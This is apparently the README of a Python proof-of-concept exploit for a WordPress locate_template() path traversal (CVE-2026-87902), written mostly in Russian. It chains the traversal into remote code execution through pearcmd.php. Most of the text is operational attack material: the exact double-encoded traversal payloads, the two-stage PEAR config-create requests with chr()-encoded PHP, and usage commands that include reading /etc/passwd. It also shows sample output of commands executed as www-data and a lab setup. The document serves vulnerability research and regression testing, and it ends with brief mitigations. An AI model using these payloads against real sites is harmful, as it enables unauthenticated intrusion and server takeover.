Python PoC, эксплуатирующий CVE-2026-87902 — неаутентифицированный обход пути в WordPress locate_template(), приводящий к LFI и RCE на основе PEAR, с безопасным режимом обнаружения.
Файл эксплойта: exploit_locate_template_rce.py —
Python 3.6+ (только stdlib).
Пайплайн одной командой: безопасное обнаружение (дифференциал LFI, без записи) →,
если уязвимо, RCE через гаджет pearcmd.php, выполняющий команду на ваш выбор
(--command/-c). Используйте --validate-only, чтобы остановиться до стадии записи.
Тестирует CVE-2026-87902 в версиях WordPress
без фикса из коммита 5fde0bb7 — "Themes: Restrict
path traversal in locate_template()" (WordPress 7.1.2, бэкпорты до 4.7.37).
| CVE | CVE-2026-87902 (CWE-98, CVSS 4.0 9.2 Critical / v3.1 8.1 High) |
| Advisory | GHSA-7hp8-65ch-5whp |
| Уязвимые | WordPress 4.7.0 – 7.1.1 (все ветки) |
| Фикс | 7.1.2, 7.0.6, 6.9.9 … 4.7.37 |
| Fix commit | 5fde0bb7b9775523959094bf280cc54bfa78af51 (merge changeset 63792) |
| Файлы | wp-includes/template.php (get_page_template(), locate_template(), _wp_is_template_path_allowed()) |
| Аутентификация | Отсутствует — ни пользователя, ни cookie, ни nonce, ни плагина |
| Благодарности | Обнаружение и раскрытие: Robert Ressl |
⚠️ Только для авторизованного тестирования. Используйте в контролируемых вами средах (лаборатория ниже изолирована) или при явном разрешении владельца.
В версиях без фикса цепочка get_page_template() → locate_template() →
template-loader никогда не гарантирует, что выбранный шаблон остаётся внутри темы.
До фикса (wp-includes/template.php):
// get_page_template(): decode TARDE, sem validate_file()
$pagename_decoded = urldecode( $pagename );
if ( $pagename_decoded !== $pagename ) {
$templates[] = "page-{$pagename_decoded}.php";
}
// locate_template(): só testa existência — nenhum confinamento de caminho
if ( file_exists( $wp_stylesheet_path . '/' . $template_name ) ) {
$located = $wp_stylesheet_path . '/' . $template_name;
break;
}
После фикса (коммит 5fde0bb7):
if ( $pagename_decoded !== $pagename && 0 === validate_file( $pagename_decoded ) ) { ... }
...
if ( _wp_is_template_path_allowed( $candidate ) ) { // realpath + confinamento
$located = $candidate; // dentro de tema/parent/theme-compat
break;
}
pagename и page_id — публичные query vars, принимаются в теле анонимного POST.
Метод POST заставляет redirect_canonical() (canonical.php) вернуться рано — он
действует только на GET/HEAD, поэтому ничего не перенаправляется.templates%252f%252e%252e%252f...) и выживает после
sanitize: WP_Query::get_posts() (стр.2191) перезаписывает pagename через
sanitize_title_for_query( wp_basename( ... ) ) — wp_basename() не ломается на %2F
(formatting.php стр.5768), а sanitize сохраняет октеты %XX (стр.2395).page_id (стр.2252) перезаписывает WHERE ("$where =", а не ".=") — реальная
страница загружается, без 404, а вредоносный pagename остаётся в объекте запроса.get_page_template() выполняет urldecode() поздно и собирает page-<traversal>.php
без validate_file().locate_template() до патча вызывает только file_exists() → include выходит за пределы темы.| # | Предусловие | Причина |
|---|---|---|
| 1 | Опубликованная страница, доступная анонимно, выбираемая по page_id и без custom template | Запрос должен разрешаться в Page; custom template шёл бы раньше в иерархии |
| 2 | Каталог верхнего уровня в активной теме (child или parent), начинающийся с page- (например, page-templates/) | WP добавляет фиксированный префикс page-; именно через него входит traversal. Достаточно его существования и возможности обхода (может быть пустым). Присутствует в Twenty Twelve/Fourteen, Neve, Hestia, Sydney |
| 3 | Существующая и читаемая локальная цель .php | Загрузчик добавляет .php и проверяет is_file()/is_readable() |
| 4 | (только для RCE) читаемый pearcmd.php + register_argc_argv=On + записываемый каталог (например, /tmp) | Маршрут PEAR→RCE: config-create записывает PHP-пейлоад на сервер |
Три анонимных POST к опубликованной странице — без записи на диск:
| Запрос | pagename | Ожидаемый ответ (уязвимо) |
|---|---|---|
| A — baseline | — | 200, нормальное тело (~23 KB) |
| B — контроль | traversal → несуществующий файл | 200, нормальное тело (fallback page.php) |
| C — проба | traversal → wp-content/index.php ("Silence is golden") | 200 с пустым телом |
Сигнатура: C пустой + A/B нормальные ⇒ include вышел за пределы темы ⇒ УЯЗВИМО.
Обнаружение автоматически перебирает: каталоги-кандидаты темы
(page-templates, page-template) × глубины 1–12.
Результат (theme-dir + depth) питает стадию RCE.
С --validate-only скрипт останавливается здесь (exit 0, если уязвимо).
pearcmd.php (запись)Стадия 1 POST /?+config-create+/<payload>+/tmp/wp-pear-rce.php
body: page_id=2&pagename=templates%252f...%252fusr%252flocal%252flib%252fphp%252fpearcmd
→ traversal включает /usr/local/lib/php/pearcmd.php
→ argv берётся из сырой query string (register_argc_argv=On)
→ config-create ЗАПИСЫВАЕТ пейлоад в /tmp/wp-pear-rce.php (12 сериализованных копий)
Стадия 2 POST / body: page_id=2&pagename=templates%252f...%252ftmp%252fwp-pear-rce
→ тот же traversal включает сгенерированный файл → system(<--command>) выполняется как www-data
Детали формата (все ограничения обрабатываются скриптом):
page_id + pagename; query string несёт
исключительно argv PEAR (?+config-create+<root>+<out>).wp_magic_quotes() (load.php стр.1290) применяет
add_magic_quotes($_SERVER), а pearcmd читает argv из $_SERVER['argv'] — любая
кавычка превратилась бы в \' и сломала бы сгенерированный файл. Все PHP-строки
становятся конкатенацией chr(): '/tmp' → chr(47).chr(116).chr(109).chr(112).http.client): сырые байты +, <, > из query
string — это argv; ничего не может быть перезаписано/перекодировано по пути.config-create требует абсолютный root path — пейлоад инжектируется как сам
root (/<php>), с префиксом-маркером ___WP_RCE_OK___, ограничивающим вывод.pearcmd.php (официальный Docker, Debian/Ubuntu, XAMPP) — настройте
через --pear-path/--output при необходимости."Загрузки" нет: цель обнаружения — файл, который поставляется с каждым WordPress
(wp-content/index.php); пейлоад RCE записывается самим сервером через гаджет
PEAR, работая как www-data.
# 1) Только валидация уязвимости (LFI probe, без записи)
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --validate-only
# 2) Обнаружение + RCE с выполнением команды (по умолчанию: 'id')
python exploit_locate_template_rce.py --url http://127.0.0.1:8080
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --command "id"
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 -c "uname -a; cat /etc/passwd"
# Полезные комбинации
python exploit_locate_template_rce.py -u https://alvo --page-id 2 --theme-dir page-templates
python exploit_locate_template_rce.py -u http://127.0.0.1:8080 -c "whoami" --depth 7 --verbose
| Параметр | По умолчанию | Описание |
|---|---|---|
--url, -u | (обязательно) | Базовый URL WordPress |
--command, -c | id | Shell-команда, выполняемая на цели (игнорируется с --validate-only) |
--validate-only | off | Только валидация уязвимости (LFI, останавливается до RCE/записи) |
--page-id | auto (REST, fallback probe) | ID опубликованной страницы без custom template |
--theme-dir | пробует page-templates, page-template | Каталог верхнего уровня темы, начинающийся с page- |
--probe-target | index | Цель пробы обнаружения, без .php (index → wp-content/index.php) |
--depth | 0 (перебор 1–12) | Число сегментов ../ |
--pear-path | пробует внутренний список | pearcmd.php стадии RCE, без .php (Docker, Debian, XAMPP) |
--output | /tmp/wp-pear-rce | Записываемое назначение пейлоада PEAR, без .php |
--timeout | 20 | Таймаут на запрос (с) |
--insecure | off | Не проверять TLS-сертификат |
--verbose | off | Подробный вывод по каждой попытке |
[*] alvo : http://127.0.0.1:8080
[*] comando : 'id'
[*] versão WP : 7.1.1 (<= 7.1.1 => potencialmente afetada)
[*] page id : 2 (sample-page, via /index.php?rest_route=/wp/v2/pages...)
[*] modo : detecção segura (wp-content/index.php, sem escrita)
[+] theme dir : page-templates
[+] depth : 3
[+] traversal : page-templates/../../../index.php
[+] VULNERÁVEL : CVE-2026-87902 (fix 5fde0bb ausente)
[*] modo : RCE (2 estágios via pearcmd.php)
[+] theme dir : page-templates
[+] depth : 7
[+] pearcmd : /usr/local/lib/php/pearcmd.php
[+] payload file : /tmp/wp-pear-rce.php (gravado pelo PEAR no estágio 1)
[+] comando : 'id'
[+] saída :
| uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] EXPLOIT BEM-SUCEDIDO — PHP executado como a conta web
Коды выхода: 0 = успешно валидировано/RCE · 1 = не подтверждено/неудача ·
2 = ошибка (например, не найдено ни одной опубликованной страницы). Служит регрессионной
проверкой: в WordPress ≥ 7.1.2 проба никогда не бывает пустой и возвращает 1.
Используемая лаборатория: docker-compose.yml.
services:
db:
image: mariadb:11
restart: always
environment:
MYSQL_DATABASE: wordpress
MYSQL_USER: wp_user
MYSQL_PASSWORD: wp_pass
MYSQL_ROOT_PASSWORD: root_pass
volumes:
- db_data:/var/lib/mysql
wordpress:
image: wordpress:7.1.1-php8.3-apache # PINADA — a rolling baixa 7.1.2+ (patcheada!)
depends_on:
- db
restart: always
ports:
- "8080:80"
environment:
WORDPRESS_DB_HOST: db:3306
WORDPRESS_DB_USER: wp_user
WORDPRESS_DB_PASSWORD: wp_pass
WORDPRESS_DB_NAME: wordpress
volumes:
- wp_data:/var/www/html
# fixture: diretório top-level "page-*" no tema (precondição #2). Pode ser vazio.
- ./page-templates:/var/www/html/wp-content/themes/twentytwentyfive/page-templates
volumes:
db_data:
wp_data:
docker compose up -d
# Instalar o WordPress (wizard em http://localhost:8080 OU via wp-cli):
docker run --rm --network wordpress-exploit_default -v wordpress-exploit_wp_data:/var/www/html `
-e WORDPRESS_DB_HOST=db:3306 -e WORDPRESS_DB_USER=wp_user -e WORDPRESS_DB_PASSWORD=wp_pass `
-e WORDPRESS_DB_NAME=wordpress `
wordpress:cli wp core install --url=http://localhost:8080 --title="Lab" `
--admin_user=admin --admin_password=adminadmin [email protected] --skip-email
# Rodar
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 --validate-only --verbose
python exploit_locate_template_rce.py --url http://127.0.0.1:8080 -c "id"
# Teardown
docker compose down -v
Почему важен каждый элемент:
7.1.1-php8.3: должен быть < 7.1.2 и php8.3 — в PHP 8.5
register_argc_argv по умолчанию Off в HTTP SAPI, а PEAR исключён из дистрибутива,
поэтому стадия RCE не работает (обнаружение LFI работает).wordpress:php8.3-apache сегодня скачивает 7.1.2+ (пропатченный),
и эксплойт корректно не срабатывает.wp_data сохраняет ядро; смена тега требует
docker compose down -v, чтобы entrypoint скопировал файлы из нового образа.page-templates/ (fixture): темы по умолчанию (Twenty Twenty-*) не имеют каталога
page-* — без него фиксированный префикс page- никогда не разрешается и ни одна
глубина не работает. Альтернатива bind mount: command: > с
sh -c "mkdir -p .../page-templates && exec apache2-foreground".register_argc_argv=On: официальный образ не загружает web php.ini, поэтому
действует скомпилированный default (On в php8.3). Проверьте: docker exec <c> php -i | grep argc.page-templates/ → 3×.. → wp-content/);
PEAR срабатывает на 7 (→ / → /usr/local/lib/php/pearcmd.php).page-*, страница с custom template,
open_basedir, WAF/прокси, блокирующий traversal, недействительный page_id).register_argc_argv=Off
для web SAPI; удаление читаемого pearcmd.php в продакшене; аудит тем на
каталоги page-* верхнего уровня; алерты в логах по pagename с %252f/%252e
(двойная кодировка)..php
может быть целью LFI (обнаружение через --probe-target).5fde0bb7b9775523959094bf280cc54bfa78af51 — changeset 63792Этот материал предоставлен исключительно для авторизованных исследований и тестирования безопасности. Использование против систем без явного разрешения владельца незаконно. Эксплойт разработан и проверен исключительно в изолированной локальной лаборатории.